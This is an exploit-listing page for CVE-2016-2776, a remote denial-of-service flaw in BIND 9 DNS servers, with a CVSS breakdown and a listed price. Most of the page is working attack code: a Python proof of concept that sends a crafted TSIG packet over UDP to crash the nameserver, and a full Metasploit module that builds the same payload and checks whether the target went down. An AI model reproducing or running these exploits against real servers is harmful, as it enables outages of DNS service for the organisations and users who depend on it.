BIND 9 DNS Server Denial Of Service
CVE
Category
Price
Severity
CVE-2016-2776
CWE-399
$5,000
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2016-10-05
CPE
cpe:cpe:/a:isc:bind:9.0
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality None C There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data. Integrity None I There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016100037 Below is a copy:
BIND 9 DNS Server Denial Of Service import socket
import struct
TARGET = ('192.168.200.10', 53)
Q_A = 1
Q_TSIG = 250
DNS_MESSAGE_HEADERLEN = 12
def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512):
query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01"
sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
tsig_rr = build_tsig_rr(sweet_spot)
return query_A + tsig_rr
def int16(n):
return struct.pack("!H", n)
def build_tsig_rr(bind_demarshalled_size):
signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09"
"\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00")
tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00"
necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields)
necessary_bytes += 2 + 2 # length fields
# from sizeof(TSIG RR) bytes conforming the TSIG RR
# bind9 uses sizeof(TSIG RR) - 16 to build its own
sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)
tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
tsig_data = algo_name + signature_data
return tsig_hdr + int16(len(tsig_data)) + tsig_data
def generate_padding(n):
max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
buckets = [1] * len(max_per_bucket)
min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
max_size = sum(max_per_bucket) + len(buckets) + 2
if not(min_size <= n <= max_size):
raise RuntimeException("unsupported amount of bytes")
curr_idx, n = 0, n - min_size
while n > 0:
next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
buckets[curr_idx] = 1 + n - next_n
n, curr_idx = next_n, curr_idx + 1
n_padding = lambda amount: chr(amount) + "A" * amount
stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00"
return stringify(buckets[:4]), stringify(buckets[4:])
if __name__ == "__main__":
bombita = build_bind_nuke()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bombita, TARGET)
s.close()
'''
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'timeout'
require 'socket'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::Dos
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'BIND 9 DoS CVE-2016-2776',
'Description' => %q{
Denial of Service Bind 9 DNS Server CVE-2016-2776.
Critical error condition which can occur when a nameserver is constructing a response.
A defect in the rendering of messages into packets can cause named to exit with an
assertion failure in buffer.c while constructing a response to a query that meets certain criteria.
This assertion can be triggered even if the apparent source address isnt allowed
to make queries.
},
# Research and Original PoC - msf module author
'Author' => [ 'Martin Rocha', 'Ezequiel Tavella', 'Alejandro Parodi', 'Infobyte Research Team'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-2776' ],
[ 'URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html' ]
],
'DisclosureDate' => 'Sep 27 2016',
'DefaultOptions' => {'ScannerRecvWindow' => 0}
))
register_options([
Opt::RPORT(53),
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
])
deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
end
def check_server_status(ip, rport)
res = ""
sudp = UDPSocket.new
sudp.send(valid_query, 0, ip, rport)
begin
Timeout.timeout(5) do
res = sudp.recv(100)
end
rescue Timeout::Error
end
if(res.length==0)
print_good("Exploit Success (Maybe, nameserver did not replied)")
else
print_error("Exploit Failed")
end
end
def scan_host(ip)
@flag_success = true
print_status("Sending bombita (Specially crafted udp packet) to: "+ip)
scanner_send(payload, ip, rport)
check_server_status(ip, rport)
end
def get_domain
domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)
org = "\x03"+Rex::Text.rand_text_alphanumeric(3)
get_domain = domain+org
end
def payload
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
query += "\x00\x00" # Flags: 0x0000 Standard query
query += "\x00\x01" # Questions: 1
query += "\x00\x00" # Answer RRs: 0
query += "\x00\x00" # Authority RRs: 0
query += "\x00\x01" # Additional RRs: 1
# Doman Name
query += get_domain # Random DNS Name
query += "\x00" # [End of name]
query += "\x00\x01" # Type: A (Host Address) (1)
query += "\x00\x01" # Class: IN (0x0001)
# Aditional records. Name
query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
query += "\x3d"+Rex::Text.rand_text_alphanumeric(61)
query += "\x00"
query += "\x00\xfa" # Type: TSIG (Transaction Signature) (250)
query += "\x00\xff" # Class: ANY (0x00ff)
query += "\x00\x00\x00\x00" # Time to live: 0
query += "\x00\xfc" # Data length: 252
# Algorithm Name
query += ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
query += "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
query += "\x00"
# Rest of TSIG
query += "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART
query += "\x01\x2c" # Fudge: 300
query += "\x00\x10" # MAC Size: 16
query += Rex::Text.rand_text_alphanumeric(16) # MAC
query += "\x8f\x65" # Original Id: 36709
query += "\x00\x00" # Error: No error (0)
query += "\x00\x00" # Other len: 0
end
def valid_query
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
query += "\x00\x00" # Flags: 0x0000 Standard query
query += "\x00\x01" # Questions: 1
query += "\x00\x00" # Answer RRs: 0
query += "\x00\x00" # Authority RRs: 0
query += "\x00\x00" # Additional RRs: 0
# Doman Name
query += get_domain # Random DNS Name
query += "\x00" # [End of name]
query += "\x00\x01" # Type: A (Host Address) (1)
query += "\x00\x01" # Class: IN (0x0001)s
end
end
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